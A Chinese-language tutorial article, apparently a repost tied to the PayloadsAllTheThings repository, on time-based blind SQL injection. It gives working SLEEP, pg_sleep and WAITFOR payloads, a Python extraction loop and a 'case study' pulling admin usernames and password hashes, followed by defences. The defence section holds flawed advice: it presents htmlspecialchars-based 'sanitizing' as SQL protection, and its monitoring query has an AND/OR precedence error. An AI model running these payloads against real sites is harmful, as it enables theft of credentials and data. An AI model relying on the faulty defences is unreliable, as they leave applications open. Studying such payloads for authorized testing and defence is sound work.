PayloadsAllTheThings时间盲注:基于时间的盲注Payload技术

PayloadsAllTheThings时间盲注:基于时间的盲注Payload技术

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

概述:时间盲注的核心原理

时间盲注(Time-Based Blind SQL Injection)是一种高级SQL注入技术,当应用程序不直接返回查询结果或错误信息时,攻击者通过观察数据库响应时间的差异来推断信息。这种技术依赖于数据库的延迟函数,通过精心构造的payload来探测数据库结构和数据。

mermaid

多数据库时间延迟函数对比

数据库类型主要延迟函数备用延迟函数语法示例
MySQLSLEEP()BENCHMARK()SLEEP(5) / BENCHMARK(1000000,MD5(1))
PostgreSQLpg_sleep()generate_series()pg_sleep(5) / SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000)
MSSQLWAITFOR DELAY-WAITFOR DELAY '00:00:05'
OracleDBMS_LOCK.SLEEP-DBMS_LOCK.SLEEP(5)

MySQL时间盲注深度解析

基础时间延迟Payload

-- 简单延迟测试
' OR SLEEP(5)#
" OR SLEEP(5)#
1 OR SLEEP(5)#

-- 带括号的复杂payload
') OR SLEEP(5)='
")) OR SLEEP(5)="
1)) OR SLEEP(5)#

-- 使用BENCHMARK函数
' OR BENCHMARK(10000000,MD5(1))#

条件时间盲注技术

条件时间盲注是时间盲注的核心,通过IF语句结合延迟函数来实现数据提取:

-- 提取数据库版本第一位
' OR IF(ASCII(SUBSTRING(VERSION(),1,1))=53, SLEEP(5), 1)='

-- 提取当前用户第一位
' OR IF(ASCII(SUBSTRING(USER(),1,1))>64, SLEEP(3), 1)='

-- 使用BENCHMARK的条件盲注
' OR IF(ASCII(SUBSTRING(@@version,1,1))=53, BENCHMARK(10000000,MD5(1)), 0)='

-- 子查询中的时间盲注
' AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE 'A%')#

高级数据提取技术

-- 提取表名长度
' OR IF((SELECT LENGTH(table_name) FROM information_schema.tables 
        WHERE table_schema=database() LIMIT 1)=10, SLEEP(5), 1)='

-- 逐字符提取表名
' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables 
        WHERE table_schema=database() LIMIT 1),1,1))=117, SLEEP(3), 1)='

-- 提取数据内容
' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97, SLEEP(5), 1)='

PostgreSQL时间盲注技术

基础Payload

-- 简单延迟测试
SELECT pg_sleep(5);
' OR (SELECT pg_sleep(5))--
; SELECT pg_sleep(5)--

-- 条件时间盲注
SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1)='9') 
       THEN pg_sleep(5) ELSE pg_sleep(0) END;

-- 使用generate_series制造延迟
SELECT COUNT(*) FROM GENERATE_SERIES(1,10000000);

数据提取示例

-- 检查数据库版本
' AND CASE WHEN (SELECT SUBSTRING(version(),1,1)='9') 
          THEN pg_sleep(5) ELSE pg_sleep(0) END;--

-- 提取表名
' AND CASE WHEN (SELECT ASCII(SUBSTRING(
          (SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1)))=117 
          THEN pg_sleep(3) ELSE pg_sleep(0) END;--

MSSQL时间盲注技术

WAITFOR DELAY用法

-- 基础延迟
'; WAITFOR DELAY '00:00:05'--
'); WAITFOR DELAY '00:00:05'--
1; WAITFOR DELAY '00:00:05'--

-- 条件延迟
'; IF (SELECT ASCII(SUBSTRING(@@version,1,1)))=53 
   WAITFOR DELAY '00:00:05'--

时间盲注的自动化与优化

二分查找算法优化

传统的时间盲注需要逐字符探测(最多256次请求 per字符),使用二分查找可以将请求次数降至8次 per字符:

# 二分查找算法示例
def extract_char(sql_payload):
    low, high = 0, 255
    while low <= high:
        mid = (low + high) // 2
        # 构造payload测试mid值
        payload = f"' OR IF(ASCII(SUBSTRING(({sql_payload}),1,1))>{mid},SLEEP(2),0)='"
        if execute_with_delay(payload, 2):
            low = mid + 1
        else:
            high = mid - 1
    return chr(low)

常见优化技巧

  1. 批量提取:使用SUBSTRING一次提取多个字符
  2. 并行请求:同时测试多个字符位置
  3. 缓存利用:避免重复查询相同数据
  4. 错误处理:实现重试机制应对网络波动

防御策略与最佳实践

输入验证与过滤

// 参数化查询示例(PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_input]);

// 输入过滤
function sanitize_input($input) {
    $input = stripslashes($input);
    $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    return $input;
}

数据库层防护

防护措施实施方法效果
最小权限原则限制数据库用户权限防止数据泄露
输入验证白名单验证阻止恶意输入
参数化查询使用预处理语句防止SQL注入
WAF部署Web应用防火墙实时检测阻挡

监控与检测

-- 监控长时间运行的查询
SELECT * FROM information_schema.PROCESSLIST 
WHERE TIME > 10 AND INFO LIKE '%SLEEP(%' OR INFO LIKE '%BENCHMARK(%';

-- 检测异常时间延迟
监控平均响应时间,设置阈值告警

实战案例研究

案例1:MySQL用户凭证提取

-- 提取用户名长度
' OR IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(3), 1)='

-- 逐字符提取用户名
' OR IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=97, SLEEP(3), 1)='

-- 提取密码hash
' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))=109, SLEEP(3), 1)='

案例2:PostgreSQL数据库结构探测

-- 探测数据库版本
' AND CASE WHEN (SELECT SUBSTRING(version(),1,1)='9') 
          THEN pg_sleep(3) ELSE pg_sleep(0) END;--

-- 提取表数量
' AND CASE WHEN (SELECT COUNT(*) FROM information_schema.tables 
               WHERE table_schema='public')>10 
          THEN pg_sleep(3) ELSE pg_sleep(0) END;--

总结与展望

时间盲注作为一种高级SQL注入技术,虽然攻击成本较高(需要大量请求和时间),但在某些安全防护严格的环境中可能是唯一的攻击途径。防御时间盲注需要多层次的安全策略:

  1. 开发层面:严格实施参数化查询和输入验证
  2. 数据库层面:配置适当的权限和监控机制
  3. 网络层面:部署WAF和异常检测系统
  4. 运维层面:定期安全审计和漏洞扫描

随着数据库安全技术的不断发展,时间盲注技术也在不断进化。安全研究人员和开发人员都需要保持警惕,及时更新防护措施,确保应用程序的安全性。

注意:本文所述技术仅供安全研究和防御参考,请勿用于非法用途。在实际渗透测试中,务必获得明确的授权许可。

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值